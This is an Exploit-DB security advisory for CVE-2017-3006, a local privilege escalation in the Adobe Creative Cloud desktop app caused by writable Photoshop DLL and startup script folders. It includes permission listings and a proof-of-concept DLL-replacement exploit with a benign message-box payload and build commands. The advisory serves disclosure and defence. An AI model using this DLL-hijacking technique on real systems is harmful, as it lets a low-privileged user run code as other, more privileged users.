Adobe Creative Cloud Desktop Application <= 4.0.0.185 - Privilege Escalation

EDB-ID: 41878
Author: hyp3rlinx
Published: 2017-04-13
CVE: CVE-2017-3006
Type: Local
Platform: Windows
Vulnerable App: N/A

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[+] Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-CREATIVE-CLOUD-PRIVILEGE-ESCALATION.txt
[+] ISR: apparitionSec



Vendor:
==============
www.adobe.com



Product:
========================================
Adobe Creative Cloud Desktop Application
<= v4.0.0.185



Vulnerability Type:
=====================
Privilege Escalation



CVE Reference:
==============
CVE-2017-3006
APSB17-13


Vulnerability Details:
=====================
Adobe CC uses weak insecure permissions settings on the "Adobe Photoshop dll & Startup Scripts" directories. This may allow authenticated users
to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the 'C' flag
(Change) for 'Authenticated Users' group.


References:
============
https://helpx.adobe.com/security/products/creative-cloud/apsb17-13.html


e.g.

C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libifcoremd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libmmd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C



C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>ls -lt
total 2407
-rwxr-xr-x 1 Test Administ 895184 Jun 3 2016 libifcoremd.dll
-rwxr-xr-x 1 Test Administ 4033464 Jun 3 2016 libmmd.dll


/////////// AND /////////////////////


C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop.jsx BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C




Exploit/POC code(s):
====================
Compile below DLL 'C' code name it as "libifcoremd.dll"
Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.


#include <windows.h>

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, NULL, "PWN!", MB_OK);
break;
}
return TRUE;
}


gcc -c libifcoremd.c
gcc -shared -o libifcoremd.dll libifcoremd.o



Disclosure Timeline:
========================================
Vendor Notification: January 25, 2017
Vendor updates Adobe CC : April 11, 2017
April 12, 2017 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
===============
Medium



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